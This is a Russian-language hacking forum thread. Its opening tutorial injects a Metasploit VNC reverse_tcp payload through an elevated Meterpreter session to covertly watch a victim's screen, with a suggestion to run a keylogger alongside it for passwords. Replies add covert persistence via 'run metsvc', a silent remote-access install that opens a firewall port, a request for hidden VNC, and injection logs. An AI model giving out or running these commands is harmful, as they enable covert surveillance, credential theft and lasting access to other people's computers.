Захват VNC сессии на удаленном компьютере.

[Vander]

Привет! Здесь пойдет речь о том как использовать VNC -сервер на удаленном компьютере. Что такое VNC и зачем он нам нужен? Немного теории:

Virtual Network Computing (VNC) — система удалённого доступа к рабочему столу компьютера, использующая протокол RFB (Remote FrameBuffer, удалённый кадровый буфер). Управление осуществляется путём передачи нажатий клавиш на клавиатуре и движений мыши с одного компьютера на другой и ретрансляции содержимого экрана через компьютерные сети.

Сразу оговорюсь, что запущенный через шелл meterpreter’a VNC – сервер, к сожалению не позволит нам управлять этим компьютером.

Вместо этого мы сможем наблюдать за действиями на мониторе жертвы, вовремя делать скриншоты экрана, собирая интересную информацию, параллельно включив кейлоггер, добывать пароли именно от интересующих нас аккаунтов и т.д.

Приступим, как обычно, перед началом всех манипуляций открываем сессию meterpreter с повышенными привилегиями,

(с базовыми получалось на Windows 7. Win 8.1 и 10 только с повышенными), и пишем по порядку, нижеследующее:

> use windows/manage/payload_inject

> set payload windows/vncinject/reverse_tcp

> set LHOST 192.168.0.18 (IP атакуещего)

> set session 2 (Номер вашей сессии с привилегиями)

> set handler true

> exploit

Убеждаемся, что все идет успешно:

В результате этих действий будет открыто окно VNC – сервера:

На этом все, вопросы и пожелания жду в комментариях.

 

[z3RoTooL]

збс, лес как у меня на обоях

 

[IronBird]

збс, лес как у меня на обоях

Так может это и твой стол?)

 

[z3RoTooL]

Так может это и твой стол?)

точно спалился

 

[Алёша]

кто нибудь знает как беспалевно вживить payload на постоянно?

 

[Сергей Попов]

кто нибудь знает как беспалевно вживить payload на постоянно?

Алексей, здравствуйте. Тема форума Этичный хакинг и тестирование на проникновение.

 

[Triton]

кто нибудь знает как беспалевно вживить payload на постоянно?

В отрытой сессии пейлоада:

run metsvc

Пропишет нагрузку как сервис.
Справка:

OPTIONS:

-A Automatically start a matching multi/handler to connect to the service
-h This help menu
-r Uninstall an existing Meterpreter service (files must be deleted manually)

 

[Ishikawa]

Под винду можно LiteManager Server ставить с ключем /silent
Устанавливается тихо, отрывает TCP 5650, сам ставится в accept firewall
И можно не только смотреть, но и управлять, режимов масса.

 

[OmeN]

я не понял .. куда вводить эти команды ? в терменал Кали ? ввожу use windows/manage/payload_inject - пишет bash: use: command not found . И как открыть сессию meterpreter с повышенными привилегиями ?

 

[ghostphisher]

я не понял .. куда вводить эти команды ? в терменал Кали ? ввожу use windows/manage/payload_inject - пишет bash: use: command not found . И как открыть сессию meterpreter с повышенными привилегиями ?

Это надо вводить в msf консоль
сначало msfconsole запускаем.

 

[asshole]

Вопрос нуба: ip атакующего это ip жертвы?(вряд ли) если нет, то какие данные жертвы? просто не понял, какая из команд отвечает за ввод данных жертвы?

 

[DSW]

Вопрос нуба: ip атакующего это ip жертвы?(вряд ли) если нет, то какие данные жертвы? просто не понял, какая из команд отвечает за ввод данных жертвы?

set LHOST ip атакующего это твой ip например 192.168.1.100
ip жертвы это тот кого собираешься атаковать например 1.1.1.1

 

[asshole]

set LHOST ip атакующего это твой ip например 192.168.1.100
ip жертвы это тот кого собираешься атаковать например 1.1.1.1

Код

use windows/manage/payload_inject

> set payload windows/vncinject/reverse_tcp

> set LHOST 192.168.0.18 (IP атакуещего)

> set session 2 (Номер вашей сессии с привилегиями)

> set handler true

> exploit

Какая команда указывает жертву?

 

[DSW]

Код

use windows/manage/payload_inject

> set payload windows/vncinject/reverse_tcp

> set LHOST 192.168.0.18 (IP атакуещего)

> set session 2 (Номер вашей сессии с привилегиями)

> set handler true

> exploit

Какая команда указывает жертву?

Я тут молец ступил,полуается что set LHOST 192.168.0.18 это тот кого атакуем

 

[asshole]

Я тут молец ступил,полуается что set LHOST 192.168.0.18 это тот кого атакуем

Спс. Ip серый или белый?

 

[Chena]

Ну что я могу сказать . Статья стоит своего Хозяина , а хозяин статьи молодец )

 

[Dmitry88]

Подниму старую тему. Не могу побороть вин7 х64. "VNC closed connection" , пейлоад отрабатвывает нормально, а вот подключиться не могу. Утром тестил на х32 все отлично было. Потом пару раз запускал на х64.

Executing the VNC agent with endpoint 10.10.ххх.ххх:4545...

TigerVNC Viewer 64-bit v1.7.0
Built on: 2017-04-09 14:55
Copyright (C) 1999-2016 TigerVNC Team and many others (see README.txt)
See http://www.tigervnc.org for information on TigerVNC.
meterpreter >
Fri Jun 23 16:46:45 2017
DecodeManager: Detected 2 CPU core(s)
DecodeManager: Creating 2 decoder thread(s)
CConn:       connected to host 127.0.0.1 port 5900
CConn:       End of stream

И все. подключиться не могу.

 

[OneDollar]

[*] Starting exploit/multi/handler
[*] Performing Architecture Check
[-] Handler failed to bind to 192.168.0.102:4433:- -
[*] Started reverse TCP handler on 0.0.0.0:4433
[*] Process found checking Architecture
[+] Process is the same architecture as the payload
[*] Injecting Windows Meterpreter (Reflective Injection), Reverse TCP Stager into process ID 3880
[*] Opening process 3880
[*] Generating payload
[*] Allocating memory in procees 3880
[*] Allocated memory at address 0x007a0000, for 281 byte stager
[*] Writing the stager into memory...
[+] Successfully injected payload in to process: 3880
[*] Post module execution completed


Но ничего не открывается....

 

[78tyn8!gert]

А если нужны Hide VNC, посоветуете в какую сторону смотреть? Кусочек который отвалился от Зевса не предлагать.